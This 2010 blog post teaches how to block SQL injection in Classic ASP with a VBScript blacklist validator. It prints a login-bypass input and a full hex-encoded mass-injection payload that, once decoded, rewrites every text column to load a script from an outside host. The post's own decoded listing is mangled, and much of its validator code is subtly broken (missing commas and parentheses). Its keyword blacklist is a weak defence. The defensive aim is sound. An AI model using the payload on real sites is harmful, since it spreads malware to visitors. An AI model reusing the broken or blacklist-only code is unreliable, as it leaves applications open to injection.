Tuesday, November 30, 2010

Preventing Classic ASP Application from SQL Injection

What Is SQL INJECTION?

"An attack technique used to exploit web sites by altering backend SQL statements through manipulating application input."

SQL Injection happens when a developer accepts user input that is directly placed into a SQL Statement and doesn't properly filter out dangerous characters. This can allow an attacker to not only steal data from your database, but also modify and delete it.

SQL (structured query language) is a very powerful gun for hackers. Normally, hackers target the "information collection form" like the registration form, subscription form, login form, etc. Searching this type of form is not a hard task since hackers used a very smart crawler program. In the rest of the article, we will build a ValidateRequest system which can inspect all request variables centrally application-wise as well as page-wise .


We can start describing the problem by giving a common example using Login process. A Common Practice of login form is below.

select * from users where userName='" &  Request.Form("userName") & 
"' and userPass='" & Request.Form("password") & "'

Inline SQL is a very bad practice since it can open the door for hackers. Inline query is used to build dynamic query by taking the user input. So hackers can convert the query to malicious SQL by inputting username as "a or 1=1'--" which will produce a query like below.

select * from users where userName='a or 1=1'-- and userPass =''….

The above will return true always and will welcome (enter) users to the site. This technique is very old and most of us know this technique. Modern hackers are smart enough. Their target was not just to enter into the system rather, but to also make the system worst by injecting bad script into the database and script file. In most of the cases these scripts contain viruses and the affected websites listed as phishing sites in search engines. The latest technique of attack is to execute a stored procedure in input fields like below.


DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C41524520405420564152434841522
8323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7
220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D2073797
36F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414
E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653
D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E20546
1626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F72204
94E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E204
55845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D284
34F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C73637269707
4207372633D687474703A2F2F7777772E6B6164706F72742E636F6D2F622E6A733E3C2F73637269707
43E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F204
0542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F4341544520546
1626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);--

It is quite difficult to understand the commands from the above inputs. But after decoding the HEX code to ASCII string, it can be found.


DECLARE @T VARCHAR(255),@C VARCHAR(255) 
DECLARE Table_Cursor CURSOR FOR 
SELECT a.name,b.name FROM sysobjects a,syscolumns
WHERE 
a.id=b.id AND 
a.xtype='u' AND 
(b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) 
OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C 
WHILE(@@FETCH_STATUS=0) 
BEGIN 
 EXEC('UPDATE ['+@T+'] 
 SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''
  '''
 FETCH NEXT FROM Table_Cursor INTO @T,@C 
END 
CLOSE Table_Cursor 
DEALLOCATE Table_Cursor;
EXEC(@S);--

We have multiple ways to block this type of injection. The recommended process is to use stored procedures with parameterized SQL because they are type safe and length specified. But for the large existing application which never used any parameterized query, it will be a time consuming task to convert every dynamic query to parameterized query. A quicker solution is to build a central monitoring system, which will validate the input variables from all the forms. 

There are multiple ways to collect data in a form. We normally use post variable, query string, and cookie variables to pass information from one page to other pages in ASP. To protect our application from SQL injection attack, we need to validate input by checking the input type, length, format, range, etc. Also, we have to validate that no harmful SQL keyword is used as input data, like drop, declare, cementation ('--'), execute, varchar, char, etc. So first of all, we have to create a black list by which we can detect harmful execution. Validation can be done in both client side and server side. Do not rely on client side validation, since it can be easily bypassed by disabling javascript. So server side validation is a must. Client side validation can be used to improve the user experience and server performance by reducing round trips. We can consider the following functions to validate input string.

Dim BlackList, ErrorPage
BlackList = Array("=","#","$","%","^","&","*","|",";",_
                  "<",">","'","""","(",")",_
                  "--""/*", "*/""@@",_
                  "cursor","exec","execute",_
                  "nchar", "varchar""nvarchar""iframe"_
                  )
'Note: We can include following keyword to make a stronger scan but it will also 
'protect users to input these words even those are valid input
'  "!", "char", "alter", "begin", "cast", "create", 

'Populate the error page you want to redirect to in case the check fails.
ErrorPage = "../displaymessage.asp?msg="
Server.URLEncode("Invalid Character Entered")
               
Function CheckStringForSQL(str,varType
  On Error Resume Next 
  Dim lstr 
  ' If the string is empty, return false that means pass
  If ( IsEmpty(str) ) Then
    CheckStringForSQL = false
    Exit Function
  ElseIf ( StrComp(str""= 0 ) Then
    CheckStringForSQL = false
    Exit Function
  End If
  
  lstr = LCase(str)
  ' Check if the string contains any patterns in our black list
  For Each s in BlackList
    If(IsExceptionList(s,varType)=Falsethen
        If ( InStr (lstr, s) <> 0 ) Then
          CheckStringForSQL = true
          Exit Function
        End If
    End If
  Next
  CheckStringForSQL = false
End Function 


The function is very straight-forward. Note that in some cases you might need to allow some character as a valid input to give user flexibility. For example, the user might like to use "$" symbol in password field or our cookie might contain braces "(…)" symbol. So we can make an exception list according to storage variable type and can be checked like the following.

CookieExceptionList = Array("""","(",")")
Function IsExceptionList(str,varType)
    If(varType="cookie"then
        For Each item in CookieExceptionList
            If(item=strthen
                IsExceptionList=True
                Exit Function
            End If
        Next
    End If
    IsExceptionList=False
End Function

Now we can protect all the form variables using the function "CheckStringForSQL" in the following way.

For Each s in Request.Form
  If ( CheckStringForSQL(Request.Form(s),"form") ) Then
    PrepareReport("Post Varibale")
    ' Redirect to an error page
    Response.Redirect(ErrorPage)
  End If
Next

The same thing can be repeated for querystring variables and cookie variables. Without these variable types, a lot of asp developers use a third party control ASPUpload to upload files and transfer information from one page to another. That can also validate in the following way.

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'  Check Upload forms data
'  Description: This function will validate ASP Upload Data
'  Note:        Because of ASPUpload's limitation this function 
'               need to be called after its save function from 
'               the relevant ASP page
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
function IsValidUploadFormData(dataCollection,redirect)
    for each item in dataCollection
        If ( CheckStringForSQL(item) ) Then
            PrepareReport("Upload Form")
            'Redirect to an error page
            if(redirect) then Response.Redirect(ErrorPage)
            IsValidUploadFormData = false
            Exit Function
         End If
    next
    IsValidUploadFormData = true
end function


Note: This function needs to be called after calling the Save function of AspUpload manually because before that the data will not be available in the collection.

Additionally, for new projects as well as old projects, we can maintain the following best practices to avoid the attack. 


1. Use escape character routines to handle special characters
2. Use stored procedures rather than dynamic query where possible
3. Use parameterized query incase of dynamic query
4. Use HtmlEncode and decode techniques to show html data where possible
5. Use a least privileged database account- only stored procedure will have the permission for update/insert and script will have only read permission

2 comments: